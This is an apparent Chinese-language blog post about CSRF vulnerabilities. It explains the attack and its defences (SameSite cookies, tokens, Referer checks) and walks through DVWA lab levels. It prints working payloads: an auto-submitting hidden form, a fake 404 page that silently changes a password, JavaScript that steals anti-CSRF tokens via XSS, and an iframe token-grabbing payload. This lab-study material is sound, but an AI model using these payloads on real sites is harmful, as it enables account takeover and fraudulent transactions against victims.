csrf漏洞淺談

墨子軒、發表於2020-11-13

前言

菜狗本人的手終於伸向了csrf漏洞攻擊記錄一下

csrf漏洞介紹

什麼是csrf

csrf全稱Cross Site Request Forgery,翻譯過來就是跨站域請求偽造。是一種網路攻擊手段。與xss不同,xss是利用受信任的使用者,而csrf則是偽裝成受信任使用者。而csrf不太流行,所以一般認為xss比csrf更加具有危險性。

csrf怎樣實現

用csrf可以做什麼?在菜雞我的看法就是攻擊者利用被攻擊者傳送受站點信任的請求,從而達到自身的某些目的。

舉個例子

假如張三在某銀行存了一筆錢,某一天張三在該行的官網進行轉賬。假設官網ip為http://csrfxj.com/zhuanzhang.php?name=ww&money=1000,而官網存在csrf漏洞,且是get請求方式,此時伺服器收到請求後驗證cookie等,確認是本人操作,所以會進行回覆,操作成功。而如果李四想要從此處進行攻擊,就會構造一個payload:http://csrfxj.com/zhuanzhang.php?name=ls&money=100000,然後此時張三剛剛在官網進行了操作,cookie等還未過期,在李四的誘騙下點選了這個連結,後臺伺服器會再次響應,認為是本人操作,再次進行操作,這時就會發生,轉賬人張三,收錢人李四,金額100000。然後張三就會在不知情的時候進行了一筆稀裡糊塗的轉賬。

csrf漏洞攻擊原理

我本來一直認為就是利用上述方式進行攻擊,但是在看了大佬部落格之後才知道csrf攻擊分為兩種方式

一、狹義的csrf攻擊:指在攻擊者已經將程式碼植入受害使用者的瀏覽器訪問的頁面的前提下,以“受害使用者”的身份向服務端發起一個偽造的http請求,從而實現伺服器CURD來執行讀寫操作。
二、廣義的csrf攻擊:攻擊者將一個http介面中需要傳遞的所有引數都預測出來,然後不管以什麼方式,都可以來任意呼叫你的介面,對伺服器實現CURD

csrf攻擊產生條件

一、被攻擊者在登陸了web網頁,並且在本地生成了cookie
二、在cookie未過期的情況下,登登入了攻擊者的頁面,利用同一個瀏覽器。

csrf攻擊的常見方式

csrf攻擊一般分為GET型和POST型。
這裡利用必火團隊的靶場和本地搭建的DVWA靶場進行實驗。

GET型方式

必火團隊靶場
發現轉賬頁面,正常轉賬會發現賬戶正常減少財產。當點選了下方提供的攻擊者頁面時,點選結果
發現提示賬戶錢少了,回去檢視,發現少了1000。檢視攻擊頁面原始碼發現頁面原始碼
其中的<image src >屬性標籤裡的連結,和正常轉賬是一樣的,只是名字錢財不同。這是一種實現的方式。
在上面的例子中是直接構造的payload,隱蔽性太低,正常人一眼就能看出來不正常,所以一般會進行IP的隱藏
這裡介紹幾種常用的IP隱藏方式:

一、利用a標籤
二、利用HTML的src實現,在頁面中不會進行顯示
三、利用background屬性裡的url功能連結

POST方式

<form name="csrf" action="http://edu.xss.tv/payload/xss/csrf2.php" method="post">
    <input type="hidden" name="name" value="zhangsan520">
    <input type="hidden" name="money" value="1000">
</form>
<script type="text/javascript">document.csrf.submit();</script>
<a href="http://edu.xss.tv/user.php">返回使用者管理</a>

post方式一般是利用一個可以自動提交的表單進行攻擊,當使用者進入指定頁面後會進行自動提交。達到目的。所以危害性沒get方式高。

csrf漏洞檢測

那麼如何檢測頁面是否存在csrf漏洞呢?這裡用的是brupsuit進行檢測。
在瀏覽器裡進行抓包,bp有一個CSRF POC功能,自動生成攻擊頁面,在裡面修改引數,提交之後發現是否有變化,若有則存在反之沒有。

csrf漏洞的防禦

CSRF的防禦可以從兩個方面考慮,一個是後臺介面層做防禦;另一個則是在前端做防禦,這種不同源的請求,不可以帶cookie。

前端防禦

谷歌提出了same-site cookies概念,same-site cookies 是基於 Chrome 和 Mozilla 開發者花了三年多時間制定的 IETF 標準。它是在原有的Cookie中,新新增了一個SameSite屬性,它標識著在非同源的請求中,是否可以帶上Cookie,它可以設定為3個值,分別為:Strict、Lax、None
Strict是最嚴格的,它完全禁止在跨站情況下,傳送Cookie。只有在自己的網站內部傳送請求,才會帶上Cookie。不過這個規則過於嚴格,會影響使用者的體驗。比如在一個網站中有一個連結,這個連結連線到了GitHub上,由於SameSite設定為Strict,跳轉到GitHub後,GitHub總是未登入狀態。
Lax的規則稍稍放寬了些,大部分跨站的請求也不會帶上Cookie,但是一些導航的Get請求會帶上Cookie,如下:
引用
None就是關閉SameSite屬性,所有的情況下都傳送Cookie。不過SameSite設定None,還要同時設定Cookie的Secure屬性,否則是不生效的。

以上引用來自雲棲社群一篇很詳細的部落格 如有侵權,聯絡刪除。
因為我懶,所以就不自己總結了(堅持白嫖)。

後端防禦

第一種,CSRF Token的方式。這種方式是在表單頁面生成一個隨機數,這個隨機數一定要後端生成,並且對這個隨機數進行儲存。
通過請求頭中的referer欄位判斷請求的來源。每一個傳送給後端的請求,在請求頭中都會包含一個referer欄位,這個欄位標識著請求的來源。如果請求是從銀行網站發出的,這個欄位會是銀行網站轉賬頁的連結,比如:https://www.a-bank.com/transfer-view;如果是從惡意網站發出的,那麼referer欄位一定不會是銀行網站

DVWA靶場練習csrf攻擊

low難度

所謂low難度就是明顯的沒有難度。
拿到手之後直接url修改引數就實現了。

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// Get input
	$pass_new  = $_GET[ 'password_new' ];
	$pass_conf = $_GET[ 'password_conf' ];

	// Do the passwords match?
	if( $pass_new == $pass_conf ) {
		// They do!
		$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
		$pass_new = md5( $pass_new );

		// Update the database
		$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
		$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

		// Feedback for the user
		$html .= "<pre>Password Changed.</pre>";
	}
	else {
		// Issue with passwords matching
		$html .= "<pre>Passwords did not match.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

檢視low難度的原始碼,首先進行判斷兩個新密碼輸入的值是否一樣,若一樣呼叫mysql_real_escape_string()函式來進行對字串的過濾操作,然後呼叫MD5對new_password進行加密,儲存到資料庫中。mysql_real_escape_string()函式由於對字串進行了過濾操作,所以有效的防止了sql注入操作,但是並沒有對於csrf進行防禦操作。因此可以進行csrf攻擊。
正常的修改密碼payload:http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
直接對payload進行修改:http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=root&password_conf=root&Change=Change#
在上述操作中,密碼就會由修改的password變為root。密碼修改成功
但是這樣子使用者一眼就能知道自己的密碼被修改了,而且這個連結一般人肯定不會隨便點的。所以接下來據要進行對這個連結的格式修改。

使用短連結進行格式修改

修改成功
地址在這

構造攻擊頁面

在實際攻擊中,攻擊者可以利用自己構造的一個虛假頁面讓被攻擊者點選來實現攻擊操作。

<!DOCTYPE html>
<html>
<head>
	<title>404</title>
</head>
<body>
<h1>Not Found</h1>
<image src="http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=root&password_conf=root&Change=Change#" />
<p>The requested URL was not found on this server.</p>
</body>
</html>

當被攻擊者訪問這個頁面時,會出現假的404錯誤,被攻擊者會認為自己進入了一個無效的網站,但實際上攻擊已經產生了。

medium難度

首先檢視原始碼,發現比low多了一個判斷

if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
		// Get input
		$pass_new  = $_GET[ 'password_new' ];
		$pass_conf = $_GET[ 'password_conf' ];

也就是說,Medium級的程式碼檢查了保留變數 HTTP_REFERER(http包頭的Referer引數的值,表示來源地址)中是否包含SERVER_NAME這一個方法來抵禦csrf攻擊,但是這種方式只需要將剛才那個頁面名字修改為本地IP地址就可。
原始碼
這裡看到預期修改為password,點選頁面後,回到原來頁面,測試發現密碼修改成功。虛假404頁面
修改成功

high難度

檢視原始碼
發現比起medium多了一個

if( isset( $_GET[ 'Change' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

很明顯high級的難度在防禦機制中加入了token元素。即使用者每次訪問改密頁面時,伺服器會返回一個隨機的token。向伺服器發起請求時,需要提交token引數。而伺服器在收到請求時,會優先檢查token,只有token正確,才會處理客戶端的請求。
看了大佬部落格之後發現可以構造一個攻擊頁面,將其放置在攻擊者的伺服器,引誘受害者訪問,從而完成 CSRF 攻擊。

alert(document.cookie);
var theUrl = 'http://127.0.0.1/DVWA/vulnerabilities/csrf/';
    if(window.XMLHttpRequest) {
        xmlhttp = new XMLHttpRequest();
    }else{
        xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    }
var count = 0;
    xmlhttp.withCredentials = true;
    xmlhttp.onreadystatechange=function(){
        if(xmlhttp.readyState ==4 && xmlhttp.status==200)
        {
            var text = xmlhttp.responseText;
            var regex = /user_token\' value\=\'(.*?)\' \/\>/;
            var match = text.match(regex);
            console.log(match);
            alert(match[1]);
                var token = match[1];
                    var new_url = 'http://127.0.0.1/DVWA/vulnerabilities/csrf/?user_token='+token+'&password_new=password&password_conf=password&Change=Change';
                    if(count==0){
                        count++;
                        xmlhttp.open("GET",new_url,false);
                        xmlhttp.send();
                    }
                    

        }
    };
    xmlhttp.open("GET",theUrl,false);
    xmlhttp.send();

將其放在攻擊者的網路上,我由於是本地實驗,所以放在了http://127.0.0.1/xss.js,然後心細的人發現了,這個應該是xss攻擊吧?沒錯,看大佬部落格使用的就是xss和csrf相結合的方法實現攻擊的。
然後構造payload:http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=English #<script src="http://www.127.0.0.1.com/xss.js"></script>

然後誘導被攻擊者點選這個連結實現攻擊操作。
但是自身實踐出現錯誤,百度發現,現在的瀏覽器不允許跨域訪問,所以求教了大師傅之後,發現了另一個方法,bp抓包,修改引數。看了團隊內的大佬部落格之後,知道可以利用<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>來實現token獲取。
在DVWA的xss頁面,進行抓包抓包
修改引數
修改
之後進行放包。得到瀏覽器頁面
瀏覽器頁面
在這裡修改密碼
得到token
然後構造一個自動點選的頁面

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
    <form method="GET" action="http://127.0.0.1/dvwa/vulnerabilities/csrf">
        <input type="hidden" name="password_new" value="password">
        <input type="hidden" name="password_conf" value="password">
        <input type='hidden' name='user_token' value="8c662c2b09db59c12c190ffd8ec23a00">
        <input type="hidden" name="Change" value="Change" id="onlick">
    </form>
</body>
<script type="text/javascript">
    document.getElementById("onclick").click();
</script>
</html>

然後誘導使用者點選,修改成功
修改成功。

後記

對於impossible難度暫時沒有打算嘗試,畢竟high難度還有點一知半解,等後期更加深入瞭解了之後再回來補充。